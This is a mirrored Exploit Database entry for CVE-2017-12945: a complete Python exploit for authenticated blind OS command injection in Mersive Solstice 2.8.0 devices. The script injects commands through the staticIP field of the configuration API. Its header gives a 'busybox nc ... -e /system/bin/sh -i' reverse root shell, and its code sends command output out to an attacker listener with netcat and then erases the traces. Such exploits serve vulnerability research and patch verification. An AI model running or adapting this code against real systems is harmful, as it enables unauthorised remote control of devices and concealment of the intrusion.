Mersive Solstice 2.8.0 – Remote Code Execution

• Exploit Database
• 93 阅读

• 作者： Alexandre Teyar
  日期： 2019-11-28
• 类别：

  • webapps
  平台：

  • android
• 来源：https://www.exploit-db.com/exploits/47722/

• # Exploit Title: Mersive Solstice 2.8.0 - Remote Code Execution
  # Google Dork: N/A
  # Date: 2016-12-23
  # Exploit Author: Alexandre Teyar
  # Vendor Homepage: https://www2.mersive.com/
  # Firmware Link: http://www.mersive.com/Support/Releases/SolsticeServer/SGE/Android/2.8.0/Solstice.apk
  # Versions: 2.8.0
  # Tested On: Mersive Solstice 2.8.0
  # CVE: CVE-2017-12945
  # Description : This will exploit an (authenticated) blind OS command injection 
  # vulnerability present in Solstice devices running versions
  # of the firmware prior to 2.8.4.
  # Notes : To get the the command output (in piped-mode), a netcat listener 
  # (e.g. 'nc -lkvp <LPORT>') needs to be launched before 
  # running the exploit.
  # To get an interactive root shell use the following syntax
  # 'python.exe .\CVE-2017-12945.py -pass <PASSWORD>
  # -rh <RHOST> -p "busybox nc <LHOST> <LPORT>
  # -e /system/bin/sh -i"'.
  
  
  #!/usr/bin/env python3
  
  import argparse
  import logging
  import requests
  import sys
  import time
  
  
  def parse_args():
  """ Parse and validate the command line supplied by users
  """
  parser = argparse.ArgumentParser(
  description="Solstice Pod Blind Command Injection"
  )
  
  parser.add_argument(
  "-d",
  "--debug",
  dest="loglevel",
  help="enable verbose debug mode",
  required=False,
  action="store_const",
  const=logging.DEBUG,
  default=logging.INFO
  )
  parser.add_argument(
  "-lh",
  "--lhost",
  dest="lhost",
  help="the listening address",
  required=False,
  type=str
  )
  parser.add_argument(
  "-lp",
  "--lport",
  dest="lport",
  help="the listening port - default 4444",
  required=False,
  default="4444",
  type=str
  )
  parser.add_argument(
  "-p",
  "--payload",
  dest="payload",
  help="the command to execute",
  required=True,
  type=str
  )
  parser.add_argument(
  "-pass",
  "--password",
  dest="password",
  help="the target administrator password",
  required=False,
  default="",
  type=str
  )
  parser.add_argument(
  "-rh",
  "--rhost",
  dest="rhost",
  help="the target address",
  required=True,
  type=str
  )
  
  return parser.parse_args()
  
  
  def main():
  try:
  args = parse_args()
  
  lhost = args.lhost
  lport = args.lport
  password = args.password
  rhost = args.rhost
  
  logging.basicConfig(
  datefmt="%H:%M:%S",
  format="%(asctime)s: %(levelname)-8s %(message)s",
  handlers=[logging.StreamHandler()],
  level=args.loglevel
  )
  
  # Redirect stdout and stderr to <FILE>
  # only when the exploit is launched in piped mode
  if lhost and lport:
  payload = args.payload + " > /data/local/tmp/rce.tmp 2>&1"
  logging.info(
  "attacker listening address: {}:{}".format(lhost, lport)
  )
  else:
  payload = args.payload
  
  logging.info("solstice pod address: {}".format(rhost))
  
  if password:
  logging.info(
  "solstice pod administrator password: {}".format(password)
  )
  
  # Send the payload to be executed
  logging.info("sending the payload...")
  send_payload(rhost, password, payload)
  
  # Send the results of the payload execution to the attacker
  # using 'nc <LHOST> <LPORT> < <FILE>' then remove <FILE>
  if lhost and lport:
  payload = (
  "busybox nc {} {} < /data/local/tmp/rce.tmp ".format(
  lhost, lport
  )
  )
  
  logging.info("retrieving the results...")
  send_payload(rhost, password, payload)
  
  # Erase exploitation traces
  payload = "rm -f /data/local/tmp/rce.tmp"
  
  logging.info("erasing exploitation traces...")
  send_payload(rhost, password, payload)
  
  except KeyboardInterrupt:
  logging.warning("'CTRL+C' pressed, exiting...")
  sys.exit(0)
  
  
  def send_payload(rhost, password, payload):
  URL = "http://{}/Config/service/saveData".format(rhost)
  
  headers = {
  "Content-Type": "application/json",
  "X-Requested-With": "XMLHttpRequest",
  "Referer": "http://{}/Config/config.html".format(rhost)
  }
  
  data = {
  "m_networkCuration":
  {
  "ethernet":
  {
  "dhcp": False,
  "staticIP": "; {}".format(payload),
  "gateway": "",
  "prefixLength": 24,
  "dns1": "",
  "dns2": ""
  }
  },
  "password": "{}".format(password)
  }
  
  # Debugging using the BurpSuite
  # proxies = {
  # 'http': 'http://127.0.0.1:8080',
  # 'https': 'https://127.0.0.1:8080'
  # }
  
  try:
  logging.info("{}".format(payload))
  
  response = requests.post(
  URL,
  headers=headers,
  # proxies=proxies,
  json=data
  )
  
  logging.debug(
  "{}".format(response.json())
  )
  
  # Wait for the command to be executed
  time.sleep(2)
  
  except requests.exceptions.RequestException as ex:
  logging.error("{}".format(ex))
  sys.exit(0)
  
  
  if __name__ == "__main__":
  main()
  

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